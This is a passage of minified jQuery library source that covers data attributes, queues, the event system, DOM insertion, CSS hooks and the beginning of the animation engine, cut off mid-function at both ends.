$(a){return"true"===a||"false"!==a&&("null"===a?null:a===+a+""?+a:Y.test(a)?JSON.parse(a):a)}function _(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(Z,"-$&").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c=$(c)}catch(e){}X.set(a,b,c)}else c=void 0;return c}r.extend({hasData:function(a){return X.hasData(a)||W.hasData(a)},data:function(a,b,c){return X.access(a,b,c)},removeData:function(a,b){X.remove(a,b)},_data:function(a,b,c){return W.access(a,b,c)},_removeData:function(a,b){W.remove(a,b)}}),r.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=X.get(f),1===f.nodeType&&!W.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=r.camelCase(d.slice(5)),_(f,d,e[d])));W.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){X.set(this,a)}):T(this,function(b){var c;if(f&&void 0===b){if(c=X.get(f,a),void 0!==c)return c;if(c=_(f,a),void 0!==c)return c}else this.each(function(){X.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){X.remove(this,a)})}}),r.extend({queue:function(a,b,c){var d;if(a)return b=(b||"fx")+"queue",d=W.get(a,b),c&&(!d||Array.isArray(c)?d=W.access(a,b,r.makeArray(c)):d.push(c)),d||[]},dequeue:function(a,b){b=b||"fx";var c=r.queue(a,b),d=c.length,e=c.shift(),f=r._queueHooks(a,b),g=function(){r.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return W.get(a,c)||W.access(a,c,{empty:r.Callbacks("once memory").add(function(){W.remove(a,[b+"queue",c])})})}}),r.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length<c?r.queue(this[0],a):void 0===b?this:this.each(function(){var c=r.queue(this,a,b);r._queueHooks(this,a),"fx"===a&&"inprogress"!==c[0]&&r.dequeue(this,a)})},dequeue:function(a){return this.each(function(){r.dequeue(this,a)})},clearQueue:function(a){return this.queue(a||"fx",[])},promise:function(a,b){var c,d=1,e=r.Deferred(),f=this,g=this.length,h=function(){--d||e.resolveWith(f,[f])};"string"!=typeof a&&(b=a,a=void 0),a=a||"fx";while(g--)c=W.get(f[g],a+"queueHooks"),c&&c.empty&&(d++,c.empty.add(h));return h(),e.promise(b)}});var aa=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,ba=new RegExp("^(?:([+-])=|)("+aa+")([a-z%]*)$","i"),ca=["Top","Right","Bottom","Left"],da=function(a,b){return a=b||a,"none"===a.style.display||""===a.style.display&&r.contains(a.ownerDocument,a)&&"none"===r.css(a,"display")},ea=function(a,b,c,d){var e,f,g={};for(f in b)g[f]=a.style[f],a.style[f]=b[f];e=c.apply(a,d||[]);for(f in b)a.style[f]=g[f];return e};function fa(a,b,c,d){var e,f=1,g=20,h=d?function(){return d.cur()}:function(){return r.css(a,b,"")},i=h(),j=c&&c[3]||(r.cssNumber[b]?"":"px"),k=(r.cssNumber[b]||"px"!==j&&+i)&&ba.exec(r.css(a,b));if(k&&k[3]!==j){j=j||k[3],c=c||[],k=+i||1;do f=f||".5",k/=f,r.style(a,b,k+j);while(f!==(f=h()/i)&&1!==f&&--g)}return c&&(k=+k||+i||0,e=c[1]?k+(c[1]+1)*c[2]:+c[2],d&&(d.unit=j,d.start=k,d.end=e)),e}var ga={};function ha(a){var b,c=a.ownerDocument,d=a.nodeName,e=ga[d];return e?e:(b=c.body.appendChild(c.createElement(d)),e=r.css(b,"display"),b.parentNode.removeChild(b),"none"===e&&(e="block"),ga[d]=e,e)}function ia(a,b){for(var c,d,e=[],f=0,g=a.length;f<g;f++)d=a[f],d.style&&(c=d.style.display,b?("none"===c&&(e[f]=W.get(d,"display")||null,e[f]||(d.style.display="")),""===d.style.display&&da(d)&&(e[f]=ha(d))):"none"!==c&&(e[f]="none",W.set(d,"display",c)));for(f=0;f<g;f++)null!=e[f]&&(a[f].style.display=e[f]);return a}r.fn.extend({show:function(){return ia(this,!0)},hide:function(){return ia(this)},toggle:function(a){return"boolean"==typeof a?a?this.show():this.hide():this.each(function(){da(this)?r(this).show():r(this).hide()})}});var ja=/^(?:checkbox|radio)$/i,ka=/<([a-z][^\/\0>\x20\t\r\n\f]+)/i,la=/^$|\/(?:java|ecma)script/i,ma={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};ma.optgroup=ma.option,ma.tbody=ma.tfoot=ma.colgroup=ma.caption=ma.thead,ma.th=ma.td;function na(a,b){var c;return c="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):[],void 0===b||b&&B(a,b)?r.merge([a],c):c}function oa(a,b){for(var c=0,d=a.length;c<d;c++)W.set(a[c],"globalEval",!b||W.get(b[c],"globalEval"))}var pa=/<|&#?\w+;/;function qa(a,b,c,d,e){for(var f,g,h,i,j,k,l=b.createDocumentFragment(),m=[],n=0,o=a.length;n<o;n++)if(f=a[n],f||0===f)if("object"===r.type(f))r.merge(m,f.nodeType?[f]:f);else if(pa.test(f)){g=g||l.appendChild(b.createElement("div")),h=(ka.exec(f)||["",""])[1].toLowerCase(),i=ma[h]||ma._default,g.innerHTML=i[1]+r.htmlPrefilter(f)+i[2],k=i[0];while(k--)g=g.lastChild;r.merge(m,g.childNodes),g=l.firstChild,g.textContent=""}else m.push(b.createTextNode(f));l.textContent="",n=0;while(f=m[n++])if(d&&r.inArray(f,d)>-1)e&&e.push(f);else if(j=r.contains(f.ownerDocument,f),g=na(l.appendChild(f),"script"),j&&oa(g),c){k=0;while(f=g[k++])la.test(f.type||"")&&c.push(f)}return l}!function(){var a=d.createDocumentFragment(),b=a.appendChild(d.createElement("div")),c=d.createElement("input");c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),b.appendChild(c),o.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,b.innerHTML="<textarea>x</textarea>",o.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var ra=d.documentElement,sa=/^key/,ta=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,ua=/^([^.]*)(?:\.(.+)|)/;function va(){return!0}function wa(){return!1}function xa(){try{return d.activeElement}catch(a){}}function ya(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d||c,c=void 0);for(h in b)ya(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=wa;else if(!e)return a;return 1===f&&(g=e,e=function(a){return r().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=r.guid++)),a.each(function(){r.event.add(this,b,e,d,c)})}r.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=W.get(a);if(q){c.handler&&(f=c,c=f.handler,e=f.selector),e&&r.find.matchesSelector(ra,e),c.guid||(c.guid=r.guid++),(i=q.events)||(i=q.events={}),(g=q.handle)||(g=q.handle=function(b){return"undefined"!=typeof r&&r.event.triggered!==b.type?r.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(L)||[""],j=b.length;while(j--)h=ua.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n&&(l=r.event.special[n]||{},n=(e?l.delegateType:l.bindType)||n,l=r.event.special[n]||{},k=r.extend({type:n,origType:p,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&r.expr.match.needsContext.test(e),namespace:o.join(".")},f),(m=i[n])||(m=i[n]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,o,g)!==!1||a.addEventListener&&a.addEventListener(n,g)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),r.event.global[n]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=W.hasData(a)&&W.get(a);if(q&&(i=q.events)){b=(b||"").match(L)||[""],j=b.length;while(j--)if(h=ua.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n){l=r.event.special[n]||{},n=(d?l.delegateType:l.bindType)||n,m=i[n]||[],h=h[2]&&new RegExp("(^|\\.)"+o.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&p!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,o,q.handle)!==!1||r.removeEvent(a,n,q.handle),delete i[n])}else for(n in i)r.event.remove(a,n+b[j],c,d,!0);r.isEmptyObject(i)&&W.remove(a,"handle events")}},dispatch:function(a){var b=r.event.fix(a),c,d,e,f,g,h,i=new Array(arguments.length),j=(W.get(this,"events")||{})[b.type]||[],k=r.event.special[b.type]||{};for(i[0]=b,c=1;c<arguments.length;c++)i[c]=arguments[c];if(b.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,b)!==!1){h=r.event.handlers.call(this,b,j),c=0;while((f=h[c++])&&!b.isPropagationStopped()){b.currentTarget=f.elem,d=0;while((g=f.handlers[d++])&&!b.isImmediatePropagationStopped())b.rnamespace&&!b.rnamespace.test(g.namespace)||(b.handleObj=g,b.data=g.data,e=((r.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(b.result=e)===!1&&(b.preventDefault(),b.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,b),b.result}},handlers:function(a,b){var c,d,e,f,g,h=[],i=b.delegateCount,j=a.target;if(i&&j.nodeType&&!("click"===a.type&&a.button>=1))for(;j!==this;j=j.parentNode||this)if(1===j.nodeType&&("click"!==a.type||j.disabled!==!0)){for(f=[],g={},c=0;c<i;c++)d=b[c],e=d.selector+" ",void 0===g[e]&&(g[e]=d.needsContext?r(e,this).index(j)>-1:r.find(e,this,null,[j]).length),g[e]&&f.push(d);f.length&&h.push({elem:j,handlers:f})}return j=this,i<b.length&&h.push({elem:j,handlers:b.slice(i)}),h},addProp:function(a,b){Object.defineProperty(r.Event.prototype,a,{enumerable:!0,configurable:!0,get:r.isFunction(b)?function(){if(this.originalEvent)return b(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[a]},set:function(b){Object.defineProperty(this,a,{enumerable:!0,configurable:!0,writable:!0,value:b})}})},fix:function(a){return a[r.expando]?a:new r.Event(a)},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==xa()&&this.focus)return this.focus(),!1},delegateType:"focusin"},blur:{trigger:function(){if(this===xa()&&this.blur)return this.blur(),!1},delegateType:"focusout"},click:{trigger:function(){if("checkbox"===this.type&&this.click&&B(this,"input"))return this.click(),!1},_default:function(a){return B(a.target,"a")}},beforeunload:{postDispatch:function(a){void 0!==a.result&&a.originalEvent&&(a.originalEvent.returnValue=a.result)}}}},r.removeEvent=function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c)},r.Event=function(a,b){return this instanceof r.Event?(a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||void 0===a.defaultPrevented&&a.returnValue===!1?va:wa,this.target=a.target&&3===a.target.nodeType?a.target.parentNode:a.target,this.currentTarget=a.currentTarget,this.relatedTarget=a.relatedTarget):this.type=a,b&&r.extend(this,b),this.timeStamp=a&&a.timeStamp||r.now(),void(this[r.expando]=!0)):new r.Event(a,b)},r.Event.prototype={constructor:r.Event,isDefaultPrevented:wa,isPropagationStopped:wa,isImmediatePropagationStopped:wa,isSimulated:!1,preventDefault:function(){var a=this.originalEvent;this.isDefaultPrevented=va,a&&!this.isSimulated&&a.preventDefault()},stopPropagation:function(){var a=this.originalEvent;this.isPropagationStopped=va,a&&!this.isSimulated&&a.stopPropagation()},stopImmediatePropagation:function(){var a=this.originalEvent;this.isImmediatePropagationStopped=va,a&&!this.isSimulated&&a.stopImmediatePropagation(),this.stopPropagation()}},r.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(a){var b=a.button;return null==a.which&&sa.test(a.type)?null!=a.charCode?a.charCode:a.keyCode:!a.which&&void 0!==b&&ta.test(a.type)?1&b?1:2&b?3:4&b?2:0:a.which}},r.event.addProp),r.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(a,b){r.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c,d=this,e=a.relatedTarget,f=a.handleObj;return e&&(e===d||r.contains(d,e))||(a.type=f.origType,c=f.handler.apply(this,arguments),a.type=b),c}}}),r.fn.extend({on:function(a,b,c,d){return ya(this,a,b,c,d)},one:function(a,b,c,d){return ya(this,a,b,c,d,1)},off:function(a,b,c){var d,e;if(a&&a.preventDefault&&a.handleObj)return d=a.handleObj,r(a.delegateTarget).off(d.namespace?d.origType+"."+d.namespace:d.origType,d.selector,d.handler),this;if("object"==typeof a){for(e in a)this.off(e,b,a[e]);return this}return b!==!1&&"function"!=typeof b||(c=b,b=void 0),c===!1&&(c=wa),this.each(function(){r.event.remove(this,a,c,b)})}});var za=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,Aa=/<script|<style|<link/i,Ba=/checked\s*(?:[^=]|=\s*.checked.)/i,Ca=/^true\/(.*)/,Da=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function Ea(a,b){return B(a,"table")&&B(11!==b.nodeType?b:b.firstChild,"tr")?r(">tbody",a)[0]||a:a}function Fa(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function Ga(a){var b=Ca.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Ha(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(W.hasData(a)&&(f=W.access(a),g=W.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;c<d;c++)r.event.add(b,e,j[e][c])}X.hasData(a)&&(h=X.access(a),i=r.extend({},h),X.set(b,i))}}function Ia(a,b){var c=b.nodeName.toLowerCase();"input"===c&&ja.test(a.type)?b.checked=a.checked:"input"!==c&&"textarea"!==c||(b.defaultValue=a.defaultValue)}function Ja(a,b,c,d){b=g.apply([],b);var e,f,h,i,j,k,l=0,m=a.length,n=m-1,q=b[0],s=r.isFunction(q);if(s||m>1&&"string"==typeof q&&!o.checkClone&&Ba.test(q))return a.each(function(e){var f=a.eq(e);s&&(b[0]=q.call(this,e,f.html())),Ja(f,b,c,d)});if(m&&(e=qa(b,a[0].ownerDocument,!1,a,d),f=e.firstChild,1===e.childNodes.length&&(e=f),f||d)){for(h=r.map(na(e,"script"),Fa),i=h.length;l<m;l++)j=e,l!==n&&(j=r.clone(j,!0,!0),i&&r.merge(h,na(j,"script"))),c.call(a[l],j,l);if(i)for(k=h[h.length-1].ownerDocument,r.map(h,Ga),l=0;l<i;l++)j=h[l],la.test(j.type||"")&&!W.access(j,"globalEval")&&r.contains(k,j)&&(j.src?r._evalUrl&&r._evalUrl(j.src):p(j.textContent.replace(Da,""),k))}return a}function Ka(a,b,c){for(var d,e=b?r.filter(b,a):a,f=0;null!=(d=e[f]);f++)c||1!==d.nodeType||r.cleanData(na(d)),d.parentNode&&(c&&r.contains(d.ownerDocument,d)&&oa(na(d,"script")),d.parentNode.removeChild(d));return a}r.extend({htmlPrefilter:function(a){return a.replace(za,"<$1></$2>")},clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=r.contains(a.ownerDocument,a);if(!(o.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||r.isXMLDoc(a)))for(g=na(h),f=na(a),d=0,e=f.length;d<e;d++)Ia(f[d],g[d]);if(b)if(c)for(f=f||na(a),g=g||na(h),d=0,e=f.length;d<e;d++)Ha(f[d],g[d]);else Ha(a,h);return g=na(h,"script"),g.length>0&&oa(g,!i&&na(a,"script")),h},cleanData:function(a){for(var b,c,d,e=r.event.special,f=0;void 0!==(c=a[f]);f++)if(U(c)){if(b=c[W.expando]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[W.expando]=void 0}c[X.expando]&&(c[X.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ka(this,a,!0)},remove:function(a){return Ka(this,a)},text:function(a){return T(this,function(a){return void 0===a?r.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ja(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ea(this,a);b.appendChild(a)}})},prepend:function(){return Ja(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ea(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return Ja(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return Ja(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(r.cleanData(na(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null!=a&&a,b=null==b?a:b,this.map(function(){return r.clone(this,a,b)})},html:function(a){return T(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!Aa.test(a)&&!ma[(ka.exec(a)||["",""])[1].toLowerCase()]){a=r.htmlPrefilter(a);try{for(;c<d;c++)b=this[c]||{},1===b.nodeType&&(r.cleanData(na(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=[];return Ja(this,arguments,function(b){var c=this.parentNode;r.inArray(this,a)<0&&(r.cleanData(na(this)),c&&c.replaceChild(b,this))},a)}}),r.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){r.fn[a]=function(a){for(var c,d=[],e=r(a),f=e.length-1,g=0;g<=f;g++)c=g===f?this:this.clone(!0),r(e[g])[b](c),h.apply(d,c.get());return this.pushStack(d)}});var La=/^margin/,Ma=new RegExp("^("+aa+")(?!px)[a-z%]+$","i"),Na=function(b){var c=b.ownerDocument.defaultView;return c&&c.opener||(c=a),c.getComputedStyle(b)};!function(){function b(){if(i){i.style.cssText="box-sizing:border-box;position:relative;display:block;margin:auto;border:1px;padding:1px;top:1%;width:50%",i.innerHTML="",ra.appendChild(h);var b=a.getComputedStyle(i);c="1%"!==b.top,g="2px"===b.marginLeft,e="4px"===b.width,i.style.marginRight="50%",f="4px"===b.marginRight,ra.removeChild(h),i=null}}var c,e,f,g,h=d.createElement("div"),i=d.createElement("div");i.style&&(i.style.backgroundClip="content-box",i.cloneNode(!0).style.backgroundClip="",o.clearCloneStyle="content-box"===i.style.backgroundClip,h.style.cssText="border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute",h.appendChild(i),r.extend(o,{pixelPosition:function(){return b(),c},boxSizingReliable:function(){return b(),e},pixelMarginRight:function(){return b(),f},reliableMarginLeft:function(){return b(),g}}))}();function Oa(a,b,c){var d,e,f,g,h=a.style;return c=c||Na(a),c&&(g=c.getPropertyValue(b)||c[b],""!==g||r.contains(a.ownerDocument,a)||(g=r.style(a,b)),!o.pixelMarginRight()&&Ma.test(g)&&La.test(b)&&(d=h.width,e=h.minWidth,f=h.maxWidth,h.minWidth=h.maxWidth=h.width=g,g=c.width,h.width=d,h.minWidth=e,h.maxWidth=f)),void 0!==g?g+"":g}function Pa(a,b){return{get:function(){return a()?void delete this.get:(this.get=b).apply(this,arguments)}}}var Qa=/^(none|table(?!-c[ea]).+)/,Ra=/^--/,Sa={position:"absolute",visibility:"hidden",display:"block"},Ta={letterSpacing:"0",fontWeight:"400"},Ua=["Webkit","Moz","ms"],Va=d.createElement("div").style;function Wa(a){if(a in Va)return a;var b=a[0].toUpperCase()+a.slice(1),c=Ua.length;while(c--)if(a=Ua[c]+b,a in Va)return a}function Xa(a){var b=r.cssProps[a];return b||(b=r.cssProps[a]=Wa(a)||a),b}function Ya(a,b,c){var d=ba.exec(b);return d?Math.max(0,d[2]-(c||0))+(d[3]||"px"):b}function Za(a,b,c,d,e){var f,g=0;for(f=c===(d?"border":"content")?4:"width"===b?1:0;f<4;f+=2)"margin"===c&&(g+=r.css(a,c+ca[f],!0,e)),d?("content"===c&&(g-=r.css(a,"padding"+ca[f],!0,e)),"margin"!==c&&(g-=r.css(a,"border"+ca[f]+"Width",!0,e))):(g+=r.css(a,"padding"+ca[f],!0,e),"padding"!==c&&(g+=r.css(a,"border"+ca[f]+"Width",!0,e)));return g}function $a(a,b,c){var d,e=Na(a),f=Oa(a,b,e),g="border-box"===r.css(a,"boxSizing",!1,e);return Ma.test(f)?f:(d=g&&(o.boxSizingReliable()||f===a.style[b]),"auto"===f&&(f=a["offset"+b[0].toUpperCase()+b.slice(1)]),f=parseFloat(f)||0,f+Za(a,b,c||(g?"border":"content"),d,e)+"px")}r.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=Oa(a,"opacity");return""===c?"1":c}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":"cssFloat"},style:function(a,b,c,d){if(a&&3!==a.nodeType&&8!==a.nodeType&&a.style){var e,f,g,h=r.camelCase(b),i=Ra.test(b),j=a.style;return i||(b=Xa(h)),g=r.cssHooks[b]||r.cssHooks[h],void 0===c?g&&"get"in g&&void 0!==(e=g.get(a,!1,d))?e:j[b]:(f=typeof c,"string"===f&&(e=ba.exec(c))&&e[1]&&(c=fa(a,b,e),f="number"),null!=c&&c===c&&("number"===f&&(c+=e&&e[3]||(r.cssNumber[h]?"":"px")),o.clearCloneStyle||""!==c||0!==b.indexOf("background")||(j[b]="inherit"),g&&"set"in g&&void 0===(c=g.set(a,c,d))||(i?j.setProperty(b,c):j[b]=c)),void 0)}},css:function(a,b,c,d){var e,f,g,h=r.camelCase(b),i=Ra.test(b);return i||(b=Xa(h)),g=r.cssHooks[b]||r.cssHooks[h],g&&"get"in g&&(e=g.get(a,!0,c)),void 0===e&&(e=Oa(a,b,d)),"normal"===e&&b in Ta&&(e=Ta[b]),""===c||c?(f=parseFloat(e),c===!0||isFinite(f)?f||0:e):e}}),r.each(["height","width"],function(a,b){r.cssHooks[b]={get:function(a,c,d){if(c)return!Qa.test(r.css(a,"display"))||a.getClientRects().length&&a.getBoundingClientRect().width?$a(a,b,d):ea(a,Sa,function(){return $a(a,b,d)})},set:function(a,c,d){var e,f=d&&Na(a),g=d&&Za(a,b,d,"border-box"===r.css(a,"boxSizing",!1,f),f);return g&&(e=ba.exec(c))&&"px"!==(e[3]||"px")&&(a.style[b]=c,c=r.css(a,b)),Ya(a,c,g)}}}),r.cssHooks.marginLeft=Pa(o.reliableMarginLeft,function(a,b){if(b)return(parseFloat(Oa(a,"marginLeft"))||a.getBoundingClientRect().left-ea(a,{marginLeft:0},function(){return a.getBoundingClientRect().left}))+"px"}),r.each({margin:"",padding:"",border:"Width"},function(a,b){r.cssHooks[a+b]={expand:function(c){for(var d=0,e={},f="string"==typeof c?c.split(" "):[c];d<4;d++)e[a+ca[d]+b]=f[d]||f[d-2]||f[0];return e}},La.test(a)||(r.cssHooks[a+b].set=Ya)}),r.fn.extend({css:function(a,b){return T(this,function(a,b,c){var d,e,f={},g=0;if(Array.isArray(b)){for(d=Na(a),e=b.length;g<e;g++)f[b[g]]=r.css(a,b[g],!1,d);return f}return void 0!==c?r.style(a,b,c):r.css(a,b)},a,b,arguments.length>1)}});function _a(a,b,c,d,e){return new _a.prototype.init(a,b,c,d,e)}r.Tween=_a,_a.prototype={constructor:_a,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||r.easing._default,this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(r.cssNumber[c]?"":"px")},cur:function(){var a=_a.propHooks[this.prop];return a&&a.get?a.get(this):_a.propHooks._default.get(this)},run:function(a){var b,c=_a.propHooks[this.prop];return this.options.duration?this.pos=b=r.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):this.pos=b=a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):_a.propHooks._default.set(this),this}},_a.prototype.init.prototype=_a.prototype,_a.propHooks={_default:{get:function(a){var b;return 1!==a.elem.nodeType||null!=a.elem[a.prop]&&null==a.elem.style[a.prop]?a.elem[a.prop]:(b=r.css(a.elem,a.prop,""),b&&"auto"!==b?b:0)},set:function(a){r.fx.step[a.prop]?r.fx.step[a.prop](a):1!==a.elem.nodeType||null==a.elem.style[r.cssProps[a.prop]]&&!r.cssHooks[a.prop]?a.elem[a.prop]=a.now:r.style(a.elem,a.prop,a.now+a.unit)}}},_a.propHooks.scrollTop=_a.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},r.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2},_default:"swing"},r.fx=_a.prototype.init,r.fx.step={};var ab,bb,cb=/^(?:toggle|show|hide)$/,db=/queueHooks$/;function eb(){bb&&(d.hidden===!1&&a.requestAnimationFrame?a.requestAnimationFrame(eb):a.setTimeout(eb,r.fx.interval),r.fx.tick())}function fb(){return a.setTimeout(function(){ab=void 0}),ab=r.now()}function gb(a,b){var c,d=0,e={height:a};for(b=b?1:0;d<4;d+=2-b)c=ca[d],e["margin"+c]=e["padding"+c]=a;return b&&(e.opacity=e.width=a),e}function hb(a,b,c){for(var d,e=(kb.tweeners[b]||[]).concat(kb.tweeners["*"]),f=0,g=e.length;f<g;f++)if(d=e[f].call(c,b,a))return d}function ib(a,b,c){var d,e,f,g,h,i,j,k,l="width"in b||"height"in b,m=this,n={},o=a.style,p=a.nodeType&&da(a),q=W.get(a,"fxshow");c.queue||(g=r._queueHooks(a,"fx"),null==g.unqueued&&(g.unqueued=0,h=g.empty.fire,g.empty.fire=function(){g.unqueued||h()}),g.unqueued++,m.always(function(){m.always(function(){g.unqueued--,r.queue(a,"fx").length||g.empty.fire()})}));for(d in b)if(e=b[d],cb.test(e)){if(delete b[d],f=f||"toggle"===e,e===(p?"hide":"show")){if("show"!==e||!q||void 0===q[d])continue;p=!0}n[d]=q&&q[d]||r.style(a,d)}if(i=!r.isEmptyObject(b),i||!r.isEmptyObject(n)){l&&1===a.nodeType&&(c.overflow=[o.overflow,o.overflowX,o.overflowY],j=q&&q.display,null==j&&(j=W.get(a,"display")),k=r.css(a,"display"),"none"===k&&(j?k=j:(ia([a],!0),j=a.style.display||j,k=r.css(a,"display"),ia([a]))),("inline"===k||"inline-block"===k&&null!=j)&&"none"===r.css(a,"float")&&(i||(m.done(function(){o.display=j}),null==j&&(k=o.display,j="none"===k?"":k)),o.display="inline-block")),c.overflow&&(o.overflow="hidden",m.always(function(){o.overflow=c.overflow[0],o.overflowX=c.overflow[1],o.overflowY=c.overflow[2]})),i=!1;for(d in n)i||(q?"hidden"in q&&(p=q.hidden):q=W.access(a,"fxshow",{display:j}),f&&(q.hidden=!p),p&&ia([a],!0),m.done(function(){p||ia([a]),W.remove(a,"fxshow");for(d in n)r.style(a,d,n[d])})),i=hb(p?q[d]:0,d,m),d in q||(q[d]=i.start,p&&(i.end=i.start,i.start=0))}}function jb(a,b){var c,d,e,f,g;for(c in a)if(d=r.camelCase(c),e=b[d],f=a[c],Array.isArray(f)&&(e=f[1],f=a[c]=f[0]),c!==d&&(a[d]=f,delete a[c]),g=r.cssHooks[d],g&&"expand"in g){f=g.expand(f),delete a[d];for(c in f)c in a||(a[c]=f[c],b[c]=e)}else b[d]=e}function kb(a,b,c){var d,e,f=0,g=kb.prefilters.length,h=r.Deferred().always(function(){delete i.elem}),i=function(){if(e)return!1;for(var b=ab||fb(),c=Math.max(0,j.startTime+j.duration-b),d=c/j.duration||0,f=1-d,g=0,i=j.tweens.length;g<i;g++)j.tweens[g].run(f);return h.notifyWith(a,[j,f,c]),f<1&&i?c:(i||h.notifyWith(a,[j,1,0]),h.resolveWith(a,[j]),!1)},j=h.promise({elem:a,props:r.extend({},b),opts:r.extend(!0,{specialEasing:{},easing:r.easing._default},c),originalProperties:b,originalOptions:c,startTime:ab||fb(),duration:c.duration,tweens:[],createTween:function(b,c){var d=r.Tween(a,j.opts,b,c,j.opts.specialEasing[b]||j.opts.easing);return j.tweens.push(d),d},stop:function(b){var c=0,d=b?j.tweens.length:0;if(e)return 